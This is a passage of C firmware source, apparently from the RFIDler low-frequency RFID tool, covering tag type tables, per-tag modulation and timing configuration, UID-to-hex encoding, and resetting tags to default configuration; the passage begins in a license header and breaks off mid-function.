Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n#include \"HardwareProfile.h\"\n\n#include \"awid.h\"\n#include \"clock.h\"\n#include \"comms.h\"\n#include \"em.h\"\n#include \"fdxb.h\"\n#include \"hdx.h\"\n#include \"hitag.h\"\n#include \"hid.h\"\n#include \"indala.h\"\n#include \"q5.h\"\n#include \"rfidler.h\"\n#include \"t55x7.h\"\n#include \"tags.h\"\n#include \"uid.h\"\n#include \"unique.h\"\n#include \"paxton.h\"\n#include \"util.h\"\n#include \"write.h\"\n\n// tagtype #defines in rfidler.h\nconst BYTE *TagTypes[]= {\n    \"NONE\",\n    \"ASKRAW\",\n    \"FSK1RAW\",\n    \"FSK2RAW\",\n    \"PSK1RAW\",\n    \"PSK2RAW\",\n    \"PSK3RAW\",\n    \"HITAG1\",\n    \"HITAG2\",\n    \"EM4X02\",\n    \"Q5\",\n    \"HID26\",\n    \"INDALA64\",\n    \"INDALA224\",\n    \"UNIQUE\",\n    \"FDXB\",\n    \"T55X7\",\n    \"AWID26\",\n    \"EM4X05\",\n    \"TAMAGOTCHI\",\n    \"HDX\",\n    \"PAXTON\",\n    NULL\n};\n\n// see rfidler.h for #defined constants\nconst BYTE *ModulationSchemes[] = {\n    \"None\",\n    \"ASK/OOK\",\n    \"FSK\",\n    \"FSK\",\n    \"PSK\",\n    \"PSK\",\n    \"PSK\",\n    NULL\n};\n\nvoid tag_list(void)\n{\n    unsigned char i;\n\n    UserMessage(\"%s\", \"\\r\\nKnown TAG types:\\r\\n\");\n    for(i= 1 ; TagTypes[i] != NULL ; ++i)\n    {\n        UserMessage(\"\\r\\n  %s\", (BYTE *) TagTypes[i]);\n    }\n    UserMessage(\"%s\", \"\\r\\n\");\n}\n\nBYTE tag_get_type(BYTE *tag)\n{\n    BYTE i;\n\n    for(i= 0 ; TagTypes[i] != NULL ; ++i)\n        if(strcmp(tag, TagTypes[i]) == 0)\n            return i;\n    return 0;\n}\n\nunsigned int tag_get_blocksize(BYTE tag)\n{\n    switch(tag)\n    {\n        // raw tag types return blocksize of emulator tag\n        case TAG_TYPE_ASK_RAW:\n        case TAG_TYPE_FSK1_RAW:\n        case TAG_TYPE_FSK2_RAW:\n        case TAG_TYPE_PSK1_RAW:\n        case TAG_TYPE_PSK2_RAW:\n        case TAG_TYPE_PSK3_RAW:\n            return tag_get_blocksize(RFIDlerVTag.TagType);\n\n        case TAG_TYPE_EM4X05:\n            return EM4X05_BLOCKSIZE;\n\n        case TAG_TYPE_HITAG1:\n            return HITAG1_BLOCKSIZE;\n\n        case TAG_TYPE_HITAG2:\n            return HITAG2_BLOCKSIZE;\n\n        case TAG_TYPE_Q5:\n            return Q5_BLOCKSIZE;\n\n        case TAG_TYPE_T55X7:\n            return T55X7_BLOCKSIZE;\n\n        default:\n            return 0;\n    }\n}\n\nunsigned int tag_get_datablocks(BYTE tag)\n{\n    switch(tag)\n    {\n        // raw tag types return number of blocks needed for emulator tag type\n        case TAG_TYPE_ASK_RAW:\n        case TAG_TYPE_FSK1_RAW:\n        case TAG_TYPE_FSK2_RAW:\n        case TAG_TYPE_PSK1_RAW:\n        case TAG_TYPE_PSK2_RAW:\n        case TAG_TYPE_PSK3_RAW:\n            return RFIDlerConfig.DataBits / tag_get_blocksize(RFIDlerVTag.TagType);\n\n        case TAG_TYPE_EM4X05:\n            return EM4X05_DATABLOCKS;\n\n       case TAG_TYPE_HITAG1:\n            return HITAG1_DATABLOCKS;\n\n        case TAG_TYPE_HITAG2:\n            return HITAG2_DATABLOCKS;\n\n        case TAG_TYPE_Q5:\n            return Q5_DATABLOCKS;\n\n        case TAG_TYPE_T55X7:\n            return T55X7_DATABLOCKS;\n\n        default:\n            return 0;\n    }\n}\n\nunsigned int tag_get_databits(BYTE tag)\n{\n    switch(tag)\n    {\n        case TAG_TYPE_ASK_RAW:\n        case TAG_TYPE_FSK1_RAW:\n        case TAG_TYPE_FSK2_RAW:\n        case TAG_TYPE_PSK1_RAW:\n        case TAG_TYPE_PSK2_RAW:\n        case TAG_TYPE_PSK3_RAW:\n            return RAW_TAGS_DATABITS;\n\n        case TAG_TYPE_EM4X02:\n            return EM4X02_DATABITS;\n\n        case TAG_TYPE_EM4X05:\n            return EM4X05_DATABLOCKS * EM4X05_BLOCKSIZE;\n            \n        case TAG_TYPE_HID_26:\n            return HID26_DATABITS;\n\n        case TAG_TYPE_AWID_26:\n            return AWID26_DATABITS;\n\n        case TAG_TYPE_FDXB:\n            return FDXB_DATABITS;\n\n        case TAG_TYPE_HDX:\n            return HDX_DATABITS;\n\n        case TAG_TYPE_HITAG1:\n            return HITAG1_DATABLOCKS * HITAG1_BLOCKSIZE;\n\n        case TAG_TYPE_HITAG2:\n            return HITAG2_DATABLOCKS * HITAG2_BLOCKSIZE;\n\n        case TAG_TYPE_INDALA_64:\n            return INDALA_64_DATABITS;\n\n        case TAG_TYPE_INDALA_224:\n            return INDALA_224_DATABITS;\n\n        case TAG_TYPE_Q5:\n            return Q5_DATABLOCKS * Q5_BLOCKSIZE;\n\n        case TAG_TYPE_T55X7:\n            return T55X7_DATABLOCKS * T55X7_BLOCKSIZE;\n\n        case TAG_TYPE_UNIQUE:\n            return UNIQUE_DATABITS;\n            \n        case TAG_TYPE_PAXTON:\n            return PAXTON_DATABITS;\n\n        default:\n            return 0;\n    }\n}\n\nBYTE auto_detect_tag_type(void)\n{\n    BYTE i, tag, tmp[MAXUID + 1];\n\n    tag= RFIDlerConfig.TagType;\n\n    UserMessage(\"%s\", \"\\r\\n\");\n    for(i= 1 ; TagTypes[i] != NULL ; ++i)\n    {\n        UserMessage(\"\\r\\n  %s: \", (BYTE *) TagTypes[i]);\n        tag_set(i);\n        if(get_interpreted_tag_uid(tmp, RFIDlerConfig.TagType))\n            UserMessage(\"%s\", tmp);\n    }\n    tag_set(tag);\n    UserMessage(\"%s\", \"\\r\\n\");\n}\n\nBOOL tag_set(BYTE tag)\n{\n    // reset everything, then set what needs to be changed\n    // most timings are in FCs unless otherwise specified\n    // FrameClock itself is in us/100 (i.e. 800 is 8us == 125KHz)\n    // Timeout is in us\n    RFIDlerConfig.FrameClock= 0;\n    RFIDlerConfig.BiPhase= FALSE;\n    RFIDlerConfig.Manchester= FALSE;\n    RFIDlerConfig.HalfDuplex= FALSE;\n    RFIDlerConfig.Invert= FALSE;\n    RFIDlerConfig.Modulation= MOD_MODE_NONE;\n    RFIDlerConfig.PotLow= 0;\n    RFIDlerConfig.PotHigh= 0;\n    RFIDlerConfig.DataRate= 0;\n    RFIDlerConfig.DataRateSub0= 0;\n    RFIDlerConfig.DataRateSub1= 0;\n    RFIDlerConfig.DataBits= 0;\n    RFIDlerConfig.TagType= tag;\n    RFIDlerConfig.Repeat= 0;\n    RFIDlerConfig.Timeout= 0L;\n    RFIDlerConfig.Sync[0]= 0x00;\n    RFIDlerConfig.Sync[1]= 0x00;\n    RFIDlerConfig.Sync[2]= 0x00;\n    RFIDlerConfig.Sync[3]= 0x00;\n    RFIDlerConfig.SyncBits= 0;\n    RFIDlerConfig.RWD_Gap_Period= 0;\n    RFIDlerConfig.RWD_Sleep_Period= 0;\n    RFIDlerConfig.RWD_Wake_Period= 0;\n    RFIDlerConfig.RWD_Zero_Period= 0;\n    RFIDlerConfig.RWD_One_Period= 0;\n    RFIDlerConfig.RWD_Wait_Switch_RX_TX= 0;\n    RFIDlerConfig.RWD_Wait_Switch_TX_RX= 0;\n\n    switch(tag)\n    {\n        case TAG_TYPE_NONE:\n            break;\n\n        case TAG_TYPE_ASK_RAW:\n            RFIDlerConfig.FrameClock= 800; // 125 KHz\n            RFIDlerConfig.Modulation= MOD_MODE_ASK_OOK;\n            RFIDlerConfig.PotHigh= 100;\n            RFIDlerConfig.DataRate= 32;\n            RFIDlerConfig.DataBits= RAW_TAGS_DATABITS;\n            RFIDlerConfig.TagType= tag;\n            RFIDlerConfig.Repeat= 20;\n            RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)\n            RFIDlerConfig.RWD_Wake_Period= 1000;\n            break;\n\n      case TAG_TYPE_AWID_26:\n            //RFIDlerConfig.FrameClock= 765; // 130.7 KHz (134KHz breaks emulation)\n            RFIDlerConfig.FrameClock= 800; // 125 KHz\n            RFIDlerConfig.Modulation= MOD_MODE_FSK2;\n            RFIDlerConfig.PotHigh=  110;\n            RFIDlerConfig.DataRate= 50;\n            RFIDlerConfig.DataRateSub0= 8;\n            RFIDlerConfig.DataRateSub1= 10;\n            RFIDlerConfig.DataBits= 96;\n            RFIDlerConfig.TagType= tag;\n            RFIDlerConfig.Repeat= 20;\n            RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)\n            RFIDlerConfig.Sync[0]= 0x01;\n            RFIDlerConfig.Sync[1]= 0x1D;\n            RFIDlerConfig.Sync[2]= 0x80;\n            RFIDlerConfig.Sync[3]= 0x00;\n            RFIDlerConfig.SyncBits= 18;\n            RFIDlerConfig.RWD_Wake_Period= 1000;\n            break;\n              \n        case TAG_TYPE_EM4X02:\n        case TAG_TYPE_UNIQUE:\n        case TAG_TYPE_PAXTON:\n            RFIDlerConfig.FrameClock= 800;\n            RFIDlerConfig.Manchester= TRUE;\n            RFIDlerConfig.Modulation= MOD_MODE_ASK_OOK;\n            RFIDlerConfig.PotHigh= 150;\n            RFIDlerConfig.DataRate= 64;\n            RFIDlerConfig.DataBits= 64;\n            RFIDlerConfig.TagType= tag;\n            RFIDlerConfig.Repeat= 20;\n            RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)\n            RFIDlerConfig.Sync[0]= 0xFF;\n            RFIDlerConfig.Sync[1]= 0xFF;\n            RFIDlerConfig.Sync[2]= 0x00;\n            RFIDlerConfig.Sync[3]= 0x00;\n            RFIDlerConfig.SyncBits= 9;\n            RFIDlerConfig.RWD_Wake_Period= 1000;\n            break;\n\n        // DEBUG: work in progress!\n        case TAG_TYPE_EM4X05:\n            RFIDlerConfig.FrameClock= 800; // 125 KHz\n            RFIDlerConfig.Manchester= TRUE;\n            RFIDlerConfig.Modulation= MOD_MODE_ASK_OOK;\n            RFIDlerConfig.PotHigh= 130;\n            RFIDlerConfig.DataRate= 64;\n            RFIDlerConfig.DataBits= 53; // 45 bit OTA format + 8 bit preamble\n            RFIDlerConfig.DataBlocks= EM4X05_DATABLOCKS;\n            RFIDlerConfig.BlockSize= EM4X05_BLOCKSIZE;\n            RFIDlerConfig.TagType= tag;\n            RFIDlerConfig.Repeat= 20;\n            RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)\n            RFIDlerConfig.RWD_Wake_Period= 1000; // docco says max 3 ms, but round up a bit\n            RFIDlerConfig.RWD_Gap_Period= 55; // First Field Stop\n            RFIDlerConfig.RWD_Sleep_Period= 2000;\n            RFIDlerConfig.RWD_Zero_Period= 16; // note that em4x05 uses it's own PWM scheme\n            RFIDlerConfig.RWD_One_Period= 32; // see em.c for details\n            RFIDlerConfig.RWD_Wait_Switch_TX_RX= 60; // doc says 544us, (9.34 + 1.38 ms when eeprom write), but tests are much shorter!\n            RFIDlerConfig.RWD_Wait_Switch_RX_TX= 80; // docs say 544, so about 68 fcs\n            break;\n\n       case TAG_TYPE_FDXB:\n            RFIDlerConfig.FrameClock= 745; // 134.2 KHz\n            RFIDlerConfig.BiPhase= TRUE;\n            RFIDlerConfig.Invert= TRUE;\n            RFIDlerConfig.Modulation= MOD_MODE_ASK_OOK;\n            RFIDlerConfig.PotHigh= 130;\n            RFIDlerConfig.DataRate= 32;\n            RFIDlerConfig.DataBits= 128;\n            RFIDlerConfig.TagType= tag;\n            RFIDlerConfig.Repeat= 20;\n            RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)\n            RFIDlerConfig.Sync[0]= 0x00;\n            RFIDlerConfig.Sync[1]= 0x20;\n            RFIDlerConfig.Sync[2]= 0x00;\n            RFIDlerConfig.Sync[3]= 0x00;\n            RFIDlerConfig.SyncBits= 11;\n            RFIDlerConfig.RWD_Wake_Period= 1000;\n            break;\n\n       case TAG_TYPE_FSK1_RAW:\n            RFIDlerConfig.FrameClock= 800;\n            RFIDlerConfig.Modulation= MOD_MODE_FSK1;\n            RFIDlerConfig.PotHigh= POTHIGH_DEFAULT;\n            RFIDlerConfig.DataRate= 50;\n            RFIDlerConfig.DataRateSub0= 8;\n            RFIDlerConfig.DataRateSub1= 5;\n            RFIDlerConfig.DataBits= RAW_TAGS_DATABITS;\n            RFIDlerConfig.TagType= tag;\n            RFIDlerConfig.Repeat= 20;\n            RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)\n            RFIDlerConfig.RWD_Wake_Period= 1000;\n            break;\n\n       case TAG_TYPE_FSK2_RAW:\n            RFIDlerConfig.FrameClock= 800;\n            RFIDlerConfig.Modulation= MOD_MODE_FSK2;\n            RFIDlerConfig.PotHigh= 90;\n            RFIDlerConfig.DataRate= 50;\n            RFIDlerConfig.DataRateSub0= 8;\n            RFIDlerConfig.DataRateSub1= 10;\n            RFIDlerConfig.DataBits= RAW_TAGS_DATABITS;\n            RFIDlerConfig.TagType= tag;\n            RFIDlerConfig.Repeat= 20;\n            RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)\n            RFIDlerConfig.RWD_Wake_Period= 1000;\n            break;\n                  \n        case TAG_TYPE_HID_26:\n            //RFIDlerConfig.FrameClock= 765; // 130.7 KHz (134KHz breaks emulation)\n            RFIDlerConfig.FrameClock= 800; // 125 KHz\n            RFIDlerConfig.Modulation= MOD_MODE_FSK2;\n            RFIDlerConfig.PotHigh=  110;\n            RFIDlerConfig.DataRate= 50;\n            RFIDlerConfig.DataRateSub0= 8;\n            RFIDlerConfig.DataRateSub1= 10;\n            RFIDlerConfig.DataBits= 96;\n            RFIDlerConfig.TagType= tag;\n            RFIDlerConfig.Repeat= 20;\n            RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)\n            RFIDlerConfig.Sync[0]= 0x1D;\n            RFIDlerConfig.Sync[1]= 0x55;\n            RFIDlerConfig.Sync[2]= 0x00;\n            RFIDlerConfig.Sync[3]= 0x00;\n            RFIDlerConfig.SyncBits= 16;\n            RFIDlerConfig.RWD_Wake_Period= 1000;\n            break;\n\n        case TAG_TYPE_HITAG1:\n            RFIDlerConfig.FrameClock= 800;\n            RFIDlerConfig.Manchester= TRUE;\n            RFIDlerConfig.Modulation= MOD_MODE_ASK_OOK;\n            RFIDlerConfig.PotHigh= 170;\n            RFIDlerConfig.DataRate= 32;\n            RFIDlerConfig.DataBits= 33; //\n            RFIDlerConfig.DataBlocks= HITAG1_DATABLOCKS;\n            RFIDlerConfig.BlockSize= HITAG1_BLOCKSIZE;\n            RFIDlerConfig.TagType= tag;\n            RFIDlerConfig.Repeat= 20;\n            RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)\n            RFIDlerConfig.RWD_Gap_Period= 4; // 4 - 10\n            RFIDlerConfig.RWD_Sleep_Period= 2000;\n            RFIDlerConfig.RWD_Wake_Period= 500; // documentations says ~3ms, so round up a bit\n            RFIDlerConfig.RWD_Zero_Period= 18; // 18 - 22\n            RFIDlerConfig.RWD_One_Period= 26; // 26 - 32\n            RFIDlerConfig.RWD_Wait_Switch_TX_RX= 180; // docs say 204, so stop a little earlier so we catch leading edge\n            RFIDlerConfig.RWD_Wait_Switch_RX_TX= 120; // docs say 96, so give it a bit longer t0 be safe!\n            RFIDlerConfig.SyncBits= 0;\n            RFIDlerConfig.Sync[0]= 0x00;\n            RFIDlerConfig.Sync[0]= 0x00;\n            RFIDlerConfig.Sync[0]= 0x00;\n            RFIDlerConfig.Sync[0]= 0x00;\n            break;\n\n        case TAG_TYPE_HITAG2:\n            RFIDlerConfig.FrameClock= 800;\n            RFIDlerConfig.Manchester= TRUE;\n            RFIDlerConfig.Modulation= MOD_MODE_ASK_OOK;\n            RFIDlerConfig.PotHigh= 160;\n            RFIDlerConfig.DataRate= 32;\n            RFIDlerConfig.DataBits= 37; // 5 bits leadin + 32 bits ID\n            RFIDlerConfig.DataBlocks= HITAG2_DATABLOCKS;\n            RFIDlerConfig.BlockSize= HITAG2_BLOCKSIZE;\n            RFIDlerConfig.TagType= tag;\n            RFIDlerConfig.Repeat= 20;\n            RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)\n            RFIDlerConfig.RWD_Gap_Period= 3; // 4 - 10 (we use 3 to allow for sloppiness in RWD timings)\n            RFIDlerConfig.RWD_Sleep_Period= 2000;  // 2000;\n            RFIDlerConfig.RWD_Wake_Period= 525; // (was 450) must be > 312.5 but less than 544 to allow reset of user modes\n            RFIDlerConfig.RWD_Zero_Period= 18; // 18 - 22\n            RFIDlerConfig.RWD_One_Period= 26; // 26 - 32\n            RFIDlerConfig.RWD_Wait_Switch_TX_RX= 150; // docs say 199 - 206 but in practice it can be less\n            RFIDlerConfig.RWD_Wait_Switch_RX_TX= 90;\n            RFIDlerConfig.Sync[0]= 0xF8;\n            RFIDlerConfig.Sync[1]= 0x00;\n            RFIDlerConfig.Sync[2]= 0x00;\n            RFIDlerConfig.Sync[3]= 0x00;\n            RFIDlerConfig.SyncBits= 5;\n            break;\n\n        case TAG_TYPE_INDALA_64:\n            RFIDlerConfig.FrameClock= 800;\n            RFIDlerConfig.Modulation= MOD_MODE_PSK1;\n            RFIDlerConfig.PotLow= POTLOW_DEFAULT;\n            RFIDlerConfig.PotHigh= 170;\n            RFIDlerConfig.DataRate= 32;\n            RFIDlerConfig.DataRateSub0= 2;\n            RFIDlerConfig.DataBits= 64;\n            RFIDlerConfig.TagType= tag;\n            RFIDlerConfig.Repeat= 20;\n            RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)\n            RFIDlerConfig.PSK_Quality= 4L;\n            RFIDlerConfig.Sync[0]= 0x00;\n            RFIDlerConfig.Sync[1]= 0x00;\n            RFIDlerConfig.Sync[2]= 0x00;\n            RFIDlerConfig.Sync[3]= 0x00;\n            RFIDlerConfig.SyncBits= 24;\n            RFIDlerConfig.RWD_Wake_Period= 1000;\n            break;\n\n        case TAG_TYPE_INDALA_224:\n            RFIDlerConfig.FrameClock= 800;\n            RFIDlerConfig.Modulation= MOD_MODE_PSK1;\n            RFIDlerConfig.PotLow= POTLOW_DEFAULT;\n            RFIDlerConfig.PotHigh= 170;\n            RFIDlerConfig.DataRate= 32;\n            RFIDlerConfig.DataRateSub0= 2;\n            RFIDlerConfig.DataBits= 224;\n            RFIDlerConfig.TagType= tag;\n            RFIDlerConfig.Repeat= 20;\n            RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)\n            RFIDlerConfig.PSK_Quality= 4L;\n            RFIDlerConfig.Sync[0]= 0x00;\n            RFIDlerConfig.Sync[1]= 0x00;\n            RFIDlerConfig.Sync[2]= 0x00;\n            RFIDlerConfig.Sync[3]= 0x00;\n            RFIDlerConfig.SyncBits= 24;\n            RFIDlerConfig.RWD_Wake_Period= 1000;\n            break;\n\n        case TAG_TYPE_PSK1_RAW:\n            RFIDlerConfig.FrameClock= 800;\n            RFIDlerConfig.Modulation= MOD_MODE_PSK1;\n            RFIDlerConfig.PotLow= POTLOW_DEFAULT;\n            RFIDlerConfig.PotHigh= POTHIGH_DEFAULT;\n            RFIDlerConfig.DataRate= 32;\n            RFIDlerConfig.DataRateSub0= 2;\n            RFIDlerConfig.DataBits= RAW_TAGS_DATABITS;\n            RFIDlerConfig.TagType= tag;\n            RFIDlerConfig.Repeat= 20;\n            RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)\n            RFIDlerConfig.PSK_Quality= 4L;\n            RFIDlerConfig.RWD_Wake_Period= 1000;\n            break;\n\n        case TAG_TYPE_Q5:\n            RFIDlerConfig.FrameClock= 800;\n            RFIDlerConfig.Manchester= TRUE;\n            RFIDlerConfig.Modulation= MOD_MODE_ASK_OOK;\n            RFIDlerConfig.PotHigh= 160;\n            RFIDlerConfig.DataRate= 64;\n            RFIDlerConfig.DataBits= 64;\n            RFIDlerConfig.DataBlocks= Q5_DATABLOCKS;\n            RFIDlerConfig.BlockSize= Q5_BLOCKSIZE;\n            RFIDlerConfig.TagType= tag;\n            RFIDlerConfig.Repeat= 20;\n            RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)\n            RFIDlerConfig.Sync[0]= 0xFF;\n            RFIDlerConfig.Sync[1]= 0xFF;\n            RFIDlerConfig.Sync[2]= 0x00;\n            RFIDlerConfig.Sync[3]= 0x00;\n            RFIDlerConfig.SyncBits= 9;\n            RFIDlerConfig.RWD_Sleep_Period= 13000;\n            RFIDlerConfig.RWD_Wake_Period= 4000; // must be more than 3ms, but play it safe\n            RFIDlerConfig.RWD_Gap_Period= 50; // 14 nominal, 8 - 50 normal, 8 - 25 fast write mode\n            RFIDlerConfig.RWD_Zero_Period= 16; //24; // 24 nominal, 16 - 31 normal, 8 - 15 fast write mode\n            RFIDlerConfig.RWD_One_Period= 48; //54; // 54 nominal, 48 - 63 normal, 24 - 31 fast write mode\n            RFIDlerConfig.RWD_Wait_Switch_TX_RX= 48; //64; // q5 will exit downlink mode after 64 but may not yet be damped!\n            RFIDlerConfig.RWD_Wait_Switch_RX_TX= 192; // the longer the better!\n            PWD_Mode= FALSE;\n            break;\n\n        case TAG_TYPE_T55X7:\n            RFIDlerConfig.FrameClock= 800;\n            RFIDlerConfig.Modulation= MOD_MODE_ASK_OOK;\n            RFIDlerConfig.PotHigh= POTHIGH_DEFAULT;\n            RFIDlerConfig.Manchester= TRUE;\n            RFIDlerConfig.DataRate= 32;\n            RFIDlerConfig.DataBits= 64;\n            RFIDlerConfig.Sync[0]= 0xE0;\n            RFIDlerConfig.Sync[1]= 0x15;\n            RFIDlerConfig.Sync[2]= 0x00;\n            RFIDlerConfig.Sync[3]= 0x00;\n            RFIDlerConfig.SyncBits= 16;\n            RFIDlerConfig.DataBlocks= T55X7_DATABLOCKS;\n            RFIDlerConfig.BlockSize= T55X7_BLOCKSIZE;\n            RFIDlerConfig.TagType= tag;\n            RFIDlerConfig.Repeat= 20;\n            RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)\n            RFIDlerConfig.RWD_Sleep_Period= 13000; // small tags such as keyfobs need a long sleep to reset\n            RFIDlerConfig.RWD_Wake_Period= 4000;\n            RFIDlerConfig.RWD_Gap_Period= 23; // 14; // 14 nominal, 8 - 30 normal, 8 - 25 fast write mode\n            RFIDlerConfig.RWD_Zero_Period= 16; // 24; // 24 nominal, 16 - 31 normal, 8 - 15 fast write mode\n            RFIDlerConfig.RWD_One_Period= 48; // 54; // 54 nominal, 48 - 63 normal, 24 - 31 fast write mode\n            RFIDlerConfig.RWD_Wait_Switch_TX_RX= 64; // t55x7 will exit downlink mode after 64 but we mustn't read until t55x7 switches damping on\n            RFIDlerConfig.RWD_Wait_Switch_RX_TX= 192;\n            break;\n            \n        // special case - TAMAGOTCHI do not do anything but PWM, so most settings are irrelevant\n        case TAG_TYPE_TAMAGOTCHI:\n            RFIDlerConfig.FrameClock= 800;\n            RFIDlerConfig.TagType= tag;\n            RFIDlerConfig.Repeat= 20;\n            RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)\n            RFIDlerConfig.RWD_Sleep_Period= 13000; // small tags such as keyfobs need a long sleep to reset\n            RFIDlerConfig.RWD_Wake_Period= 4000;\n            RFIDlerConfig.RWD_Gap_Period= 23; // 14; // 14 nominal, 8 - 30 normal, 8 - 25 fast write mode\n            RFIDlerConfig.RWD_Zero_Period= 16; // 24; // 24 nominal, 16 - 31 normal, 8 - 15 fast write mode\n            RFIDlerConfig.RWD_One_Period= 48; // 54; // 54 nominal, 48 - 63 normal, 24 - 31 fast write mode\n            RFIDlerConfig.RWD_Wait_Switch_TX_RX= 64; // t55x7 will exit downlink mode after 64 but we mustn't read until t55x7 switches damping on\n            RFIDlerConfig.RWD_Wait_Switch_RX_TX= 192;\n            break;\n\n        default:\n            return FALSE;\n    }\n\n    // stop clocks\n    stop_HW_clock();\n\n    // configure potentiometers\n    set_mcp414_wiper(WIPER_HIGH, VOLATILE, RFIDlerConfig.PotHigh, TmpBuff);\n    set_mcp414_wiper(WIPER_LOW, VOLATILE, RFIDlerConfig.PotLow, TmpBuff);\n\n    // delay to allow things to settle\n    Delay_us(500000);\n\n    // reset globals\n    PWD_Mode= FALSE;\n    memset(Password, '\\0', sizeof(Password));\n    \n    return TRUE;\n}\n\n// encode UID to raw hex according to TAG selection\nBOOL tag_uid_to_hex(BYTE *hex, BYTE *uid, BYTE tagtype)\n{\n    switch(tagtype)\n    {\n        case TAG_TYPE_ASK_RAW:\n        case TAG_TYPE_EM4X05:\n        case TAG_TYPE_FSK1_RAW:\n        case TAG_TYPE_FSK2_RAW:\n        case TAG_TYPE_PSK1_RAW:\n        case TAG_TYPE_PSK2_RAW:\n        case TAG_TYPE_PSK3_RAW:\n            memcpy(hex, uid, strlen(uid));\n            return TRUE;\n\n        case TAG_TYPE_AWID_26:\n            if(!bcd_to_awid26_hex(hex, uid))\n                return FALSE;\n            return TRUE;\n            \n        case TAG_TYPE_Q5:\n        case TAG_TYPE_EM4X02:\n            if(!hex_to_em4x02_hex(hex, uid))\n                return FALSE;\n            return TRUE;\n\n        case TAG_TYPE_FDXB:\n            if(!uid_to_fdxb_hex(hex, uid))\n                return FALSE;\n            return TRUE;\n\n        case TAG_TYPE_HID_26:\n            if(!bcd_to_hid26_hex(hex, uid))\n                return FALSE;\n            return TRUE;\n\n        case TAG_TYPE_INDALA_64:\n            if(!indala64_hex_to_uid(hex, uid))\n                return FALSE;\n            return TRUE;\n\n        case TAG_TYPE_INDALA_224:\n            if(!indala224_hex_to_uid(hex, uid))\n                return FALSE;\n            return TRUE;\n\n        case TAG_TYPE_UNIQUE:\n            if(!hex_to_unique_hex(hex, uid))\n                return FALSE;\n            return TRUE;\n            \n        case TAG_TYPE_PAXTON:\n            if(!hex_to_paxton_hex(hex, uid))\n                return FALSE;\n            return TRUE;\n\n        default:\n            return FALSE;\n    }\n    return TRUE;\n}\n\n// copy raw UID to data blocks for re-transmission by target tag\nvoid tag_raw_uid_to_data(BYTE *data, BYTE *uid, BYTE host_tagtype)\n{\n    BYTE            tmp[MAXUID + 1];\n    unsigned int    i;\n    \n    switch(host_tagtype)\n    {\n        // EM4X05 sends everything LSB, so reverse data\n        case TAG_TYPE_EM4X05:\n            hextobinarray(tmp, uid);\n            for(i= 0 ; i < HEXTOBITS(strlen(uid)) ; i += EM4X05_BLOCKSIZE)\n                string_reverse(tmp + i, EM4X05_BLOCKSIZE);\n            binarraytohex(data, tmp, HEXTOBITS(strlen(uid)));\n            break;\n            \n        // for most tags a straight copy will do\n        default:\n            strcpy(data, uid);\n            break;\n    }\n}\n\n// reset tag to default by writing config block\nBOOL tag_write_default_config(BYTE tagtype, BYTE *password)\n{\n    unsigned int tmp;\n\n\n    if(!config_block_number(&tmp, tagtype))\n        return FALSE;\n\n    // hitag2 always needs login/auth\n    if(strlen(password) || tagtype == TAG_TYPE_HITAG2)\n        if(!(tag_login(tmp, TmpBuff, password) || tag_auth(tmp, TmpBuff, password)))\n                return FALSE;\n\n    // emulation block for own tag type is default config block\n    if(!config_block(TmpBuff, tagtype, tagtype))\n        return FALSE;\n    return write_tag(tmp, TmpBuff, VERIFY);\n}\n\n// reset tag to default and wipe all data blocks\nBOOL tag_write_default_blocks(BYTE tagtype, BYTE *password)\n{\n    unsigned int i;\n\n    switch(tagtype)\n    {\n        case TAG_TYPE_EM4X05:\n            if(!tag_write_default_config(tagtype, password))\n                return FALSE;\n            for(i= 